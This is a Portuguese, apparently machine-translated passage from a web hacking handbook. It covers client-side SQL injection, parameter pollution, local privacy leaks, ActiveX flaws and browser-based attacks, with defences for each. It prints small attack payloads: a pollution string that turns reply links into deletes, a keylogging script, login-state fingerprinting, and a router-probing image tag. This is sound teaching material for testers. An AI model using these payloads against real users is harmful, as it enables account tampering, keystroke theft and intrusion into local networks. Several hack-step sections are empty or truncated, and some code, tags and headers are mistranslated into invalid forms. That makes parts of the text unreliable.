Nessas situações, um invasor pode ser capaz de realizar ataques de injeção de SQL no lado do cliente ao incluir dados criados em uma parte dos dados que ele controla e que o aplicativo armazena localmente. Por exemplo, o envio de um e-mail contendo um ataque de injeção de SQL na linha de assunto pode comprometer o banco de dados local do usuário destinatário, se esses dados estiverem incorporados em uma consulta SQL no lado do cliente. Dependendo exatamente de como o aplicativo usa o banco de dados local, podem ser possíveis ataques graves. Usando apenas a injeção de SQL, um invasor poderá recuperar do banco de dados o conteúdo de outras mensagens que o usuário recebeu, copiar esses dados em um novo e-mail enviado ao invasor e adicionar esse e-mail à tabela de mensagens enviadas na fila.

Os tipos de dados que costumam ser armazenados em bancos de dados do lado do cliente provavelmente incluem metacaracteres SQL, como aspas simples. Portanto, é provável que muitas vulnerabilidades de injeção de SQL sejam identificadas durante os testes normais de usabilidade, de modo que as defesas contra ataques de injeção de SQL podem estar em vigor. Assim como ocorre com a injeção no lado do servidor, essas defesas podem conter vários desvios que podem ser usados para ainda assim realizar um ataque bem-sucedido.

Poluição de parâmetros HTTP no lado do cliente

O Capítulo 9 descreveu como os ataques de poluição de parâmetros HTTP podem ser usados em algumas situações para interferir na lógica do aplicativo no lado do servidor. Em algumas situações, esses ataques também podem ser possíveis no lado do cliente.

Suponha que um aplicativo de correio eletrônico carregue a caixa de entrada usando o seguinte

URL:

```
https://wahh-mail.com/show?folder=inbox&order=down&size=20&start=1
```

Na caixa de entrada, vários links são exibidos ao lado de cada mensagem para executar ações como excluir, encaminhar e responder. Por exemplo, o link para responder à mensagem número 12 é o seguinte:

```
<a href="doaction?folder=inbox&order=down&size=20&start=1&message=12&action=
reply&rnd=1935612936174">reply</a>
```

Vários parâmetros nesses links estão sendo copiados de parâmetros no URL da caixa de entrada. Mesmo que o aplicativo se defenda de forma robusta contra ataques de XSS, ainda assim pode ser possível que um invasor construa um URL que exiba a caixa de entrada com valores diferentes ecoados nesses links. Por exemplo, o invasor pode fornecer um parâmetro como este:

```
start=1%26action=delete
```

Ele contém um caractere `&` codificado por URL que o servidor do aplicativo decodificará automaticamente. O valor do parâmetro `start` que é passado para o aplicativo é o seguinte:

```
1&action=delete
```

Se o aplicativo aceitar esse valor inválido e ainda assim exibir a caixa de entrada, e se ele ecoar o valor sem modificações, o link para responder à mensagem número 12 se tornará o seguinte:

```
<a href="doaction?folder=inbox&order=down&size=20&start=1&action=delete&
message=12&action=reply&rnd=1935612936174">reply</a>
```

Esse link agora contém dois parâmetros de ação: um que especifica `a exclusão` e outro que especifica `a resposta`. Assim como ocorre com a poluição de parâmetros HTTP padrão, o comportamento do aplicativo quando o usuário clica no link "responder" depende de como ele lida com o parâmetro duplicado. Em muitos casos, o primeiro valor é usado, de modo que o usuário é involuntariamente induzido a excluir todas as mensagens que tentar responder.

Neste exemplo, observe que os links para executar ações contêm um parâmetro `rnd`, que é de fato um token anti-CSRF, impedindo que um invasor induza facilmente essas ações por meio de um ataque CSRF padrão. Como o ataque HPP do lado do cliente injeta nos links existentes construídos pelo aplicativo, os tokens anti-CSRF são tratados da maneira normal e não impedem o ataque.

Na maioria dos aplicativos de e-mail da Web do mundo real, é provável que existam muitas outras ações que podem ser exploradas, incluindo a exclusão de todas as mensagens, o encaminhamento de mensagens individuais e a criação de regras gerais de encaminhamento de e-mail. Dependendo de como essas ações são implementadas, pode ser possível injetar vários parâmetros necessários em links e até mesmo explorar funções de redirecionamento no local para induzir o usuário a executar ações complexas que normalmente são protegidas por defesas anti-CSRF. Além disso, pode ser possível usar vários níveis de codificação de URL para injetar vários ataques em um único URL. Dessa forma, por exemplo, uma ação

é executada quando o usuário tenta ler uma mensagem, e uma outra ação é executada quando o usuário tenta retornar à caixa de entrada.

Ataques à privacidade local

Muitos usuários acessam aplicativos da Web em um ambiente compartilhado no qual um invasor pode ter acesso direto ao mesmo computador que o usuário. Isso dá origem a uma série de ataques aos quais aplicativos inseguros podem deixar seus usuários vulneráveis. Esse tipo de ataque pode surgir em várias áreas.

NOTA Existem vários mecanismos pelos quais os aplicativos podem armazenar dados potencialmente confidenciais nos computadores dos usuários. Em muitos casos, para testar se isso está sendo feito, é preferível começar com um navegador completamente limpo para que os dados armazenados pelo aplicativo que está sendo testado não se percam no ruído dos dados armazenados existentes. Uma maneira ideal de fazer isso é usar uma máquina virtual com uma instalação limpa do sistema operacional e de todos os navegadores.

Além disso, em alguns sistemas operacionais, as pastas e os arquivos que contêm dados armazenados localmente podem estar ocultos por padrão ao usar o explorador de sistema de arquivos integrado. Para garantir que todos os dados relevantes sejam identificados, configure seu computador para mostrar todos os arquivos ocultos e do sistema operacional.

Cookies persistentes

Alguns aplicativos armazenam dados confidenciais em um cookie persistente, que a maioria dos navegadores salva no sistema de arquivos local.

ETAPAS DO HACK

1. Analise todos os cookies identificados durante os exercícios de mapeamento de aplicativos (consulte o Capítulo 4). Se alguma instrução **`Set-cookie`** contiver um atributo **`expires`** com uma data futura, isso fará com que o navegador mantenha o cookie até essa data. Por exemplo:

   ```
   UID=d475dfc6eccca72d0e expires=Fri, 10-Aug-18 16:08:29 GMT;
   ```

2. Se for definido um cookie persistente que contenha dados confidenciais, um invasor local poderá capturar esses dados. Mesmo que um cookie persistente contenha um valor criptografado, se ele desempenhar uma função crítica, como reautenticar o usuário sem inserir credenciais, um invasor que o capturar poderá reenviá-lo ao aplicativo sem realmente decifrar seu conteúdo (consulte o Capítulo 6).

EXPERIMENTE!

http://mdsec.net/auth/227/

Conteúdo da Web armazenado em cache

A maioria dos navegadores armazena em cache o conteúdo da Web não SSL, a menos que um site instrua especificamente que não o faça. Normalmente, os dados armazenados em cache são armazenados no sistema de arquivos local.

ETAPAS DO HACK

1. Para todas as páginas de aplicativos acessadas por HTTP e que contenham dados confidenciais, analise os detalhes da resposta do servidor para identificar quaisquer diretivas de cache.
2. As seguintes diretivas impedem que os navegadores armazenem uma página em cache. Observe que elas podem ser especificadas nos cabeçalhos de resposta HTTP ou nas metatags HTML:

   ```
   Expira: 0
   Cache-control: no-cache
   Pragma: no-cache
   ```

3. Se essas diretivas não forem encontradas, a página em questão pode estar vulnerável ao cache por um ou mais navegadores. Observe que as diretivas de cache são processadas por página, portanto, cada página sensível baseada em HTTP precisa ser verificada.
4. Para verificar se as informações confidenciais estão sendo armazenadas em cache, use uma instalação padrão de um navegador padrão, como o Internet Explorer ou o Firefox. Na configuração do navegador, limpe completamente o cache e todos os cookies e, em seguida, acesse as páginas do aplicativo que contêm dados confidenciais. Examine os arquivos que aparecem no cache para ver se algum deles contém dados confidenciais. Se um grande número de arquivos estiver sendo gerado, você pode pegar uma cadeia de caracteres específica da fonte de uma página e procurar essa cadeia no cache.

   Aqui estão os locais de cache padrão para navegadores comuns:

   - Internet Explorer-Subdiretórios de **C:\Documentos e configurações\nome de usuário\Configurações locais\Arquivos temporários da Internet\Conteúdo.IE5**

     Observe que, no Windows Explorer, para exibir essa pasta, você precisa inserir esse caminho exato e exibir as pastas ocultas ou navegar até a pasta listada na linha de comando.
   - Firefox (no Windows) - **C:\Documentos e configurações\nome de usuário\Configurações locais\Dados do aplicativo\Mozilla\Firefox\Perfis\nome do perfil\Cache**
   - Firefox (no Linux) -~/**.mozilla/firefox/profile name/Cache**

EXPERIMENTE!

http://mdsec.net/auth/249/

Histórico de navegação

A maioria dos navegadores salva um histórico de navegação, que pode incluir quaisquer dados confidenciais transmitidos em parâmetros de URL.

ETAPAS DO HACK

EXPERIMENTE!

http://mdsec.net/auth/90/

esses dados foram armazenados lá

Autocompletar

Muitos navegadores implementam uma função de autocompletar configurável pelo usuário para campos de entrada baseados em texto, que podem armazenar dados confidenciais, como números de cartão de crédito, nomes de usuário e senhas. O Internet Explorer armazena os dados do preenchimento automático no registro e o Firefox os armazena no sistema de arquivos.

Conforme já descrito, além de poderem ser acessados por invasores locais, os dados no cache do preenchimento automático podem ser recuperados por meio de um ataque XSS em determinadas circunstâncias.

ETAPAS DO HACK

1. Revise o código-fonte HTML de todos os formulários que contêm campos de texto nos quais são capturados dados confidenciais.
2. Se o atributo **`autocomplete=off`** não for definido na tag do formulário ou na tag do campo de entrada individual, os dados inseridos serão armazenados nos navegadores em que o autocomplete estiver ativado.

EXPERIMENTE!

http://mdsec.net/auth/260/

Objetos compartilhados locais do Flash

A extensão do navegador Flash implementa seu próprio mecanismo de armazenamento local chamado Local Shared Objects (LSOs), também chamado de Flash cookies. Em contraste com a maioria dos outros mecanismos, os dados mantidos em LSOs são compartilhados entre diferentes tipos de navegadores, desde que tenham a extensão Flash instalada.

ETAPAS DO HACK

1. Vários plug-ins estão disponíveis para o Firefox, como o BetterPrivacy, que

EXPERIMENTE!

http://mdsec.net/auth/245/

disco. O local desses dados depende do navegador e do sistema operacional. Por exemplo, em versões recentes do Internet Explorer, os dados do LSO residem na seguinte estrutura de pastas:

C:\Usuários\{nome de usuário}\AppData\Roaming\Macromedia\Flash Player\ #SharedObjects\{random}\{nome do domínio}\{nome da loja}\{nome do arquivo SWF}

Armazenamento isolado do Silverlight

A extensão do navegador Silverlight implementa seu próprio mecanismo de armazenamento local chamado Silverlight Isolated Storage.

ETAPAS DO HACK

Você pode revisar o conteúdo dos dados brutos do Silverlight Isolated Storage diretamente no disco. Nas versões recentes do Internet Explorer, esses dados residem em uma série de pastas profundamente aninhadas e nomeadas aleatoriamente no seguinte local:

C:\Usuários\{nome de usuário}\AppData\LocalLow\Microsoft\Silverlight

EXPERIMENTE!

http://mdsec.net/auth/239/

Dados do usuário do Internet Explorer

O Internet Explorer implementa seu próprio mecanismo de armazenamento local personalizado chamado userData.

ETAPAS DO HACK

Você pode analisar o conteúdo dos dados brutos armazenados em userData do IE

EXPERIMENTE!

http://mdsec.net/auth/232/

~~C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low\{random}~~

Mecanismos de armazenamento local em HTML5

O HTML5 está introduzindo uma série de novos mecanismos de armazenamento local, incluindo:

- Armazenamento de sessão
- Armazenamento local
- Armazenamento de banco de dados

As especificações e o uso desses mecanismos ainda estão evoluindo. Eles não estão totalmente implementados em todos os navegadores, e os detalhes de como testar seu uso e analisar os dados persistentes provavelmente dependerão do navegador.

Prevenção de ataques à privacidade local

Os aplicativos devem evitar armazenar dados confidenciais em um cookie persistente. Mesmo que esses dados sejam criptografados, eles podem ser reenviados por um invasor que os capture.

Os aplicativos devem usar as diretivas de cache adequadas para evitar que dados confidenciais sejam armazenados pelos navegadores. Nos aplicativos ASP, as instruções a seguir fazem com que o servidor inclua as diretivas necessárias:

```
<% Response.CacheControl = "no-cache" %>
<% Response.AddHeader "Pragma", "no-cache" %>
<% Response.Expires = 0 %>
```

Nos aplicativos Java, os comandos a seguir devem obter o mesmo resultado:

```
<%
response.setHeader("Cache-Control", "no-cache");
response.setHeader("Pragma", "no-cache");
response.setDateHeader ("Expires", 0);
%>
```

Os aplicativos nunca devem usar URLs para transmitir dados confidenciais, pois eles podem ser registrados em vários locais. Todos esses dados devem ser transmitidos por meio de formulários HTML que são enviados usando o método `POST`.

Em qualquer instância em que os usuários inserem dados confidenciais em campos de entrada de texto, o

O atributo `autocomplete=off` deve ser especificado na tag do formulário ou do campo. Outros mecanismos de armazenamento no lado do cliente, como os novos recursos que estão sendo introduzidos, podem ser usados para criar um sistema de armazenamento de dados.

produzidos com HTML5, oferecem uma oportunidade para que os aplicativos implementem funcionalidades valiosas, incluindo acesso muito mais rápido a dados específicos do usuário e a capacidade de continuar trabalhando quando o acesso à rede não estiver disponível. Nos casos em que os dados confidenciais precisam ser armazenados localmente, o ideal é que sejam criptografados para evitar o fácil acesso direto por um invasor. Além disso, os usuários devem ser informados sobre a natureza dos dados que estão sendo armazenados localmente, alertados sobre os riscos do acesso local por um invasor e devem ter permissão para desativar esse recurso, se desejarem.

Ataque a controles ActiveX

O Capítulo 5 descreveu como os aplicativos podem usar várias tecnologias thick-client para distribuir parte do processamento do aplicativo para o lado do cliente. Os controles ActiveX são de especial interesse para um atacante que visa outros usuários. Quando um aplicativo instala um controle para invocá-lo a partir de suas próprias páginas, o controle deve ser registrado como "seguro para script". Depois que isso ocorre, qualquer outro site acessado pelo usuário pode usar esse controle.

Os navegadores não aceitam qualquer controle ActiveX que um site lhes peça para instalar. Por padrão, quando um site tenta instalar um controle, o navegador apresenta um aviso de segurança e solicita a permissão do usuário. O usuário pode decidir se confia no site que está emitindo o controle e permitir que ele seja instalado. No entanto, se ela fizer isso e o controle contiver vulnerabilidades, elas poderão ser exploradas por qualquer site mal-intencionado que o usuário visitar.

Duas categorias principais de vulnerabilidade comumente encontradas em controles ActiveX são de interesse para um invasor:

- Como os controles ActiveX geralmente são escritos em linguagens nativas, como C/C++, eles correm o risco de sofrer vulnerabilidades clássicas de software, como estouro de buffer, bugs de inteiros e falhas de formatação de string (consulte o Capítulo 16 para obter mais detalhes). Nos últimos

anos, um grande número dessas vulnerabilidades

foram identificadas nos controles ActiveX emitidos por aplicativos populares da Web, como sites de jogos on-line. Essas vulnerabilidades normalmente podem ser exploradas para causar a execução arbitrária de códigos no computador do usuário vítima.

- Muitos controles ActiveX contêm métodos que são inerentemente perigosos e vulneráveis ao uso indevido:
  - `LaunchExe(BSTR ExeName)`
  - `SaveFile(BSTR FileName, BSTR Url)`
  - `LoadLibrary(BSTR LibraryPath)`
  - `ExecuteCommand(BSTR Command)`

Métodos como esses geralmente são implementados por desenvolvedores para criar alguma flexibilidade em seu controle, permitindo que eles ampliem sua funcionalidade no futuro sem precisar implantar um novo controle. No entanto, depois que o controle é instalado, ele pode, é claro, ser "estendido" da mesma forma por qualquer site mal-intencionado para realizar ações indesejáveis contra o usuário.

Localização de vulnerabilidades do ActiveX

Quando um aplicativo instala um controle ActiveX, além do alerta do navegador que solicita sua permissão para instalá-lo, você deve ver um código semelhante ao seguinte na fonte HTML de uma página do aplicativo:

```
<objeto id="oMyObject"
    classid="CLSID:A61BC839-5188-4AE9-76AF-109016FD8901"
    codebase="https://wahh-app.com/bin/myobject.cab">
</objeto>
```

Esse código informa ao navegador para instanciar um controle ActiveX com o nome e o `classid` especificados e para fazer download do controle a partir do URL especificado. Se um controle já estiver instalado, o parâmetro `codebase` não será necessário, e o navegador localizará o controle no computador local, com base em seu `classid` exclusivo. Se um usuário der permissão para instalar o controle, o navegador o registrará como "seguro para script". Isso significa que ele pode ser instanciado, e seus métodos invocados, por qualquer site no futuro. Para verificar com certeza se isso foi feito, verifique a chave de registro `HKEY_CLASSES_ROOT\CLSID\classid` *do controle retirado das* `categorias HTML\Implementadas` *acima*. Se a subchave `7DD95801-9882- 11CF-9FA9-00AA006C42C4` estiver presente, o controle foi registrado como "seguro para scripting", conforme mostrado na Figura 13-6.

Figura 13-6: Um controle registrado como seguro para scripting

Quando o navegador tiver instanciado um controle ActiveX, os métodos individuais poderão ser chamados da seguinte forma:

```
<script>
    document.oMyObject.LaunchExe('myAppDemo.exe');
</script>
```

ETAPAS DO HACK

Uma maneira simples de investigar as vulnerabilidades do ActiveX é modificar o HTML que invoca o controle, passar seus próprios parâmetros para ele e monitorar os resultados:

1. Vulnerabilidades como estouro de buffer podem ser sondadas usando o mesmo tipo de carga de ataque descrito no Capítulo 16. O acionamento de bugs desse tipo de forma descontrolada provavelmente resultará em uma falha do processo do navegador que está hospedando o controle.
2. Métodos inerentemente perigosos, como o **`LaunchExe`**, muitas vezes podem ser identificados simplesmente por seu nome. Em outros casos, o nome pode ser inócuo ou ofuscado, mas pode ficar claro que itens interessantes, como nomes de arquivos, URLs ou comandos do sistema, estão sendo passados como parâmetros. Você deve tentar modificar esses parâmetros para valores arbitrários e determinar se o controle processa a entrada conforme o esperado.

É comum descobrir que nem todos os métodos implementados por um controle são realmente invocados em qualquer lugar do aplicativo. Por exemplo, os métodos podem ter sido implementados para fins de teste, podem ter sido substituídos, mas não removidos, ou podem existir para uso futuro ou para fins de autoatualização. Para realizar um teste abrangente de um controle, é necessário enumerar toda a superfície de ataque que ele expõe por meio desses métodos e testar todos eles.

Existem várias ferramentas para enumerar e testar os métodos expostos pelos controles ActiveX. Uma ferramenta útil é o COMRaider da iDefense, que pode exibir todos os métodos de um controle e realizar testes básicos de fuzz de cada um deles, conforme mostrado na Figura 13-7.

Figura 13-7: COMRaider mostrando os métodos de um controle ActiveX

Prevenção de vulnerabilidades de ActiveX

A defesa de componentes de software compilados nativos contra ataques é um tópico amplo e complexo que está fora do escopo deste livro. Basicamente, os projetistas e desenvolvedores de um controle ActiveX devem garantir que os métodos que ele implementa não possam ser invocados por um site mal-intencionado para executar ações indesejáveis contra um usuário que o tenha instalado. Por exemplo:

- Uma revisão do código-fonte focada na segurança e um teste de penetração devem ser realizados no controle para localizar vulnerabilidades, como estouro de buffer.
- O controle não deve expor nenhum método inerentemente perigoso que chame o sistema de arquivos ou o sistema operacional usando

entrada. Geralmente, há alternativas mais seguras disponíveis com um mínimo de esforço extra. Por exemplo, se for considerado necessário iniciar processos externos, compile uma lista de todos os processos externos que podem ser iniciados de forma legítima e segura. Em seguida, crie um método separado para chamar cada um deles ou use um único método que receba um número de índice nessa lista.

Como precaução adicional de defesa em profundidade, alguns controles ActiveX validam o nome de domínio que emitiu a página HTML a partir da qual eles estão sendo invocados. O modelo SiteLock Active Template Library da Microsoft permite que os desenvolvedores restrinjam o uso de um controle ActiveX a uma lista específica de nomes de domínio.

Alguns controles vão ainda mais longe, exigindo que todos os parâmetros passados para o controle sejam assinados criptograficamente. Se a assinatura passada for inválida, o controle não executará a ação solicitada. Você deve estar ciente de que algumas defesas desse tipo podem ser contornadas se o site que tem permissão para invocar o controle contiver alguma vulnerabilidade de XSS.

Atacando o navegador

Os ataques descritos até agora neste capítulo e no anterior envolvem a exploração de algum recurso do comportamento de um aplicativo para comprometer os usuários do aplicativo. Ataques como cross-site scripting, cross-site request forgery e JavaScript hijacking são todos decorrentes de vulnerabilidades em aplicativos Web específicos, embora os detalhes de algumas técnicas de exploração possam aproveitar peculiaridades de navegadores específicos.

Uma outra categoria de ataques contra usuários não depende do comportamento de aplicativos específicos. Em vez disso, esses ataques dependem exclusivamente de recursos do comportamento do navegador ou do próprio design das principais tecnologias da Web. Esses ataques podem ser realizados por qualquer site mal-intencionado ou por qualquer site benigno que tenha sido comprometido. Como tal, eles se encontram no limite do escopo de um livro sobre invasão de aplicativos da Web. No entanto, eles merecem uma breve consideração, em parte porque compartilham alguns recursos com ataques que exploram funções específicas de aplicativos. Eles também fornecem contexto para a compreensão do impacto de vários comportamentos de aplicativos, mostrando o que é possível para um invasor conseguir mesmo na ausência de falhas específicas do aplicativo.

A discussão nas seções a seguir é necessariamente concisa. Certamente há espaço para escrever um livro inteiro sobre esse assunto. Os aspirantes a autores com uma quantidade significativa de tempo livre são incentivados a enviar uma proposta à Wiley para o *The Browser Hacker's Handbook*.

Registro de pressionamentos de teclas

O JavaScript pode ser usado para monitorar todas as teclas que o usuário pressiona enquanto a janela do navegador está em foco, incluindo senhas, mensagens privadas e outras informações pessoais. O script de prova de conceito a seguir captura todas as teclas pressionadas no Internet Explorer e as exibe na barra de status do navegador:

```
<script>document.onkeypress = function () {
    window.status += String.fromCharCode(window.event.keyCode);
} </script>
```

Esses ataques podem capturar pressionamentos de teclas somente enquanto o quadro no qual o código está sendo executado estiver em foco. No entanto, alguns aplicativos ficam vulneráveis ao keylogging quando incorporam um widget de terceiros ou um applet de publicidade em um quadro dentro das próprias páginas do aplicativo. Nos chamados ataques de "reverse strokejacking", o código malicioso executado em um quadro filho pode capturar o foco da janela de nível superior, já que essa operação não é impedida pela política de mesma origem. O código mal-intencionado pode capturar pressionamentos de tecla manipulando eventos `onkeydown` e pode passar os eventos `onkeypress` separados para a janela de nível superior. Dessa forma, o texto digitado ainda aparece na janela de nível superior da maneira normal. Ao abandonar o foco brevemente durante as pausas na digitação, o código malicioso pode até mesmo manter a aparência de um cursor piscando no local normal da página de nível superior.

Roubo de histórico do navegador e consultas de pesquisa

O JavaScript pode ser usado para realizar um exercício de força bruta para descobrir sites de terceiros visitados recentemente pelo usuário e consultas que ele realizou em mecanismos de pesquisa populares. Essa técnica já foi descrita no contexto da realização de um ataque de força bruta para identificar tokens anti-CSRF válidos que estão em uso em um domínio diferente. O ataque funciona criando dinamicamente hiperlinks para sites e consultas de pesquisa comuns e usando a API `getComputedStyle` para testar se o link é colorido como visitado ou não visitado. Uma lista enorme de possíveis alvos pode ser verificada rapidamente com impacto mínimo sobre o usuário.

Enumerar os aplicativos usados atualmente

O JavaScript pode ser usado para determinar se o usuário está atualmente conectado a aplicativos da Web de terceiros. A maioria dos aplicativos contém páginas protegidas que podem ser visualizadas apenas por usuários conectados, como a página My Details. Se um usuário não autenticado solicitar a página, ele receberá um conteúdo diferente, como uma mensagem de erro ou um redirecionamento para o login.

Esse comportamento pode ser aproveitado para determinar se um usuário está conectado a um aplicativo de terceiros, executando uma inclusão de script entre domínios para uma página protegida e implementando um manipulador de erros personalizado para processar erros de script:

```
window.onerror = fingerprint;
<script src="https://other-app.com/MyDetails.aspx"></script>
```

É claro que, seja qual for o estado em que a página protegida esteja, ela contém apenas HTML, portanto, um erro de JavaScript é lançado. Crucialmente, o erro contém um número de linha e um tipo de erro diferentes, dependendo do documento HTML exato retornado. O invasor pode implementar um manipulador de erros (na função de `impressão digital`) que verifica o número da linha e o tipo de erro que surgem quando o usuário está c o n e c t a d o . Apesar das restrições de mesma origem, o script do invasor pode deduzir em que estado a página protegida está.

Depois de determinar em quais aplicativos populares de terceiros o usuário está previamente conectado, o invasor pode realizar ataques altamente focados de falsificação de solicitações entre sites para executar ações arbitrárias nesses aplicativos no contexto de segurança do usuário comprometido.

Varredura de portas

O JavaScript pode ser usado para executar uma varredura de portas de hosts na rede local do usuário ou em outras redes acessíveis para identificar serviços que possam ser exploráveis. Se um usuário estiver atrás de um firewall corporativo ou doméstico, um invasor poderá acessar serviços que não podem ser acessados pela Internet pública. Se o invasor examinar a interface de loopback do computador cliente, ele poderá contornar qualquer firewall pessoal que o usuário tenha instalado.

A varredura de portas baseada em navegador pode usar um applet Java para determinar o endereço IP do usuário (que pode ser NAT da Internet pública) e, portanto, inferir o provável intervalo de IP da rede local. O script pode então iniciar conexões HTTP com hosts e portas arbitrários para testar a conectividade. Conforme descrito, a política de mesma origem impede que o script processe as respostas a essas solicitações. No entanto, um truque semelhante ao usado para detectar o status de login pode ser usado para testar a conectividade da rede. Aqui, o script do invasor tenta carregar e executar dinamicamente um script de cada host e porta visados. Se um servidor da Web estiver em execução nessa porta, ele retornará HTML ou algum outro conteúdo, resultando em um erro de JavaScript que o script de varredura de porta pode detectar. Caso contrário, a tentativa de conexão não é possível ou não retorna dados e, nesse caso, nenhum erro é lançado. Portanto, apesar das restrições de mesma origem, o script de varredura de portas pode confirmar a conectividade com hosts e portas arbitrários.

Observe que a maioria dos navegadores implementa restrições nas portas que podem ser acessadas usando solicitações HTTP e que as portas comumente usadas por outros serviços bem conhecidos, como a porta 25 para SMTP, são bloqueadas. Historicamente, no entanto, existem bugs nos navegadores que permitem que essa restrição seja contornada algumas vezes.

Ataque a outros hosts de rede

Após uma varredura de porta bem-sucedida para identificar outros hosts, um script mal-intencionado pode tentar identificar cada serviço descoberto e atacá-lo

de várias maneiras.

Muitos servidores da Web contêm arquivos de imagem localizados em URLs exclusivos. O código a seguir verifica se há uma imagem específica associada a uma gama popular de roteadores DSL:

```
<img src="http://192.168.1.1/hm_icon.gif" onerror="notNetgear()">
```

Se a função `notNetgear` não for invocada, o servidor foi identificado com êxito como um roteador NETGEAR. O script pode então atacar o servidor da Web, explorando qualquer vulnerabilidade conhecida no software específico ou executando um ataque de falsificação de solicitação. Nesse exemplo, o invasor poderia tentar fazer login no roteador com credenciais padrão e reconfigurá-lo para abrir portas adicionais em sua interface externa ou expor sua função administrativa ao mundo. Observe que muitos ataques altamente eficazes desse tipo exigem apenas a capacidade de emitir solicitações arbitrárias, não de processar suas respostas, portanto, não são afetados pela política de mesma origem.

Em determinadas situações, um invasor pode aproveitar as técnicas de religação do DNS para violar a política de mesma origem e realmente recuperar conteúdo de servidores da Web na rede local. Esses ataques são descritos mais adiante neste capítulo.

Exploração de serviços não HTTP

Indo além dos ataques contra servidores da Web, em algumas situações é possível aproveitar o navegador do usuário para direcionar serviços não HTTP que são acessíveis a partir do computador do usuário. Desde que o serviço em questão tolere os cabeçalhos HTTP que inevitavelmente vêm no início de cada solicitação, um invasor pode enviar conteúdo binário arbitrário dentro do corpo da mensagem para interagir com o serviço não HTTP. De fato, muitos serviços de rede toleram entradas não reconhecidas e ainda processam entradas subsequentes que são bem formadas para o protocolo em questão.

Uma técnica para enviar um corpo de mensagem arbitrário entre domínios foi descrita no Capítulo 12, no qual um formulário HTML com o atributo `enctype` definido como `text/plain` foi usado para enviar conteúdo XML a um aplicativo vulnerável. Outras técnicas para realizar esses ataques são descritas no documento a seguir:

```
www.ngssoftware.com/research/papers/InterProtocolExploitation.pdf
```

Esses ataques interprotocolares podem ser usados para executar ações não autorizadas no serviço de destino ou para explorar vulnerabilidades em nível de código nesse serviço para comprometer o servidor visado.

Além disso, em algumas situações, o comportamento em serviços não HTTP pode realmente ser explorado para realizar ataques XSS contra aplicativos da Web executados no mesmo servidor. Esse tipo de ataque exige que as seguintes condições sejam atendidas:

- O serviço não HTTP deve ser executado em uma porta que não esteja bloqueada pelos navegadores, conforme descrito anteriormente.
- O serviço não HTTP deve tolerar cabeçalhos HTTP inesperados enviados pelo navegador, e não apenas encerrar a conexão de rede quando isso

acontecer. O primeiro caso é comum para muitos serviços, principalmente os baseados em texto.

- O serviço não HTTP deve ecoar parte do conteúdo da solicitação em sua resposta, como em uma mensagem de erro.
- O navegador deve tolerar respostas que não contenham cabeçalhos HTTP válidos e, nessa situação, deve processar uma parte da resposta como HTML, se for esse o seu conteúdo. De fato, é assim que todos os navegadores atuais se comportam quando respostas não HTTP adequadas são recebidas, provavelmente para fins de compatibilidade com versões anteriores.
- O navegador deve ignorar o número da porta ao separar o acesso de origem cruzada aos cookies. Os navegadores atuais são, de fato, agnósticos em relação à porta no tratamento de cookies.

Dadas essas condições, um invasor pode criar um ataque XSS direcionado ao serviço não HTTP. O ataque envolve o envio de uma solicitação criada, no URL ou no corpo da mensagem, da maneira normal. O código de script contido nas solicitações é ecoado e executado no navegador do usuário. Esse código pode ler os cookies do usuário para o domínio no qual o serviço não HTTP reside e transmiti-los ao invasor.

Exploração de bugs do navegador

Se houver erros no software do navegador do usuário ou em qualquer extensão instalada, um invasor poderá explorá-los por meio de JavaScript ou HTML malicioso. Em alguns casos, erros em extensões, como a Java VM, permitiram que os invasores realizassem comunicação binária bidirecional com serviços não HTTP no computador local ou em outro local. Isso permite que o invasor explore vulnerabilidades existentes em outros serviços identificados por meio de varredura de portas. Muitos produtos de software (inclusive produtos não baseados em navegador) instalam controles ActiveX que podem conter vulnerabilidades.

Reenvio de DNS

A religação de DNS é uma técnica que pode ser usada para realizar uma violação parcial das restrições de mesma origem em algumas situações, permitindo que um site mal-intencionado interaja com um domínio diferente. A possibilidade desse ataque surge porque as segregações na política de mesma origem são baseadas principalmente em nomes de domínio, enquanto o fornecimento final de solicitações HTTP envolve a conversão de nomes de domínio em endereços IP.

Em um nível elevado, o ataque funciona da seguinte forma:

- O usuário visita uma página da Web maliciosa no domínio do invasor. Para recuperar essa página, o navegador do usuário resolve o nome de domínio do invasor para o endereço IP do invasor.
- A página da Web do invasor faz solicitações Ajax de volta ao domínio do invasor, o que é permitido pela política de mesma origem. O invasor usa a religação de DNS

para fazer com que o navegador resolva o domínio do invasor uma segunda vez e, dessa vez, o nome do domínio é resolvido para o endereço IP de um aplicativo de terceiros, que é o alvo do invasor.

- As solicitações subsequentes ao nome de domínio do invasor são enviadas ao aplicativo visado. Como essas solicitações estão no mesmo domínio que a página original do invasor, a política de mesma origem permite que o script do invasor recupere o conteúdo das respostas do aplicativo visado e as envie de volta ao invasor, possivelmente em um domínio diferente controlado pelo invasor.

Esse ataque enfrenta vários obstáculos, incluindo mecanismos em alguns navegadores para continuar usando um endereço IP resolvido anteriormente, mesmo que o domínio tenha sido reenviado para um endereço diferente. Além disso, o cabeçalho `Host` enviado pelo navegador geralmente ainda se refere ao domínio do invasor, e não ao do aplicativo de destino, o que pode causar problemas. Historicamente, existem métodos pelos quais esses obstáculos podem ser contornados em diferentes navegadores. Além do navegador, os ataques de religação de DNS podem ser realizados contra extensões de navegador e proxies da Web, que podem se comportar de maneiras diferentes.

Observe que, nos ataques de religação de DNS, as solicitações ao aplicativo de destino ainda são feitas no contexto do domínio do invasor, no que diz respeito ao navegador. Portanto, quaisquer cookies do domínio real do aplicativo de destino não são incluídos nessas solicitações. Por esse motivo, o conteúdo que pode ser recuperado do alvo por meio da religação de DNS é o mesmo que poderia ser recuperado por qualquer pessoa que possa fazer solicitações diretas ao alvo. Portanto, a técnica é de interesse principalmente quando existem outros controles para impedir que um invasor interaja diretamente com o alvo. Por exemplo, um usuário residente nas redes internas de uma organização, que não pode ser acessado diretamente pela Internet, pode ser obrigado a recuperar conteúdo de outros sistemas nessas redes e enviar esse conteúdo para o invasor.

Estruturas de exploração de navegadores

Várias estruturas foram desenvolvidas para demonstrar e explorar a variedade de possíveis ataques que podem ser realizados contra usuários finais na Internet. Normalmente, esses ataques exigem que um gancho de JavaScript seja colocado no navegador da vítima por meio de alguma vulnerabilidade, como XSS. Quando o gancho é colocado, o navegador entra em contato com um servidor controlado pelo invasor. Ele pode sondar esse servidor periodicamente, enviando dados de volta ao invasor e fornecendo um canal de controle para receber comandos do invasor.

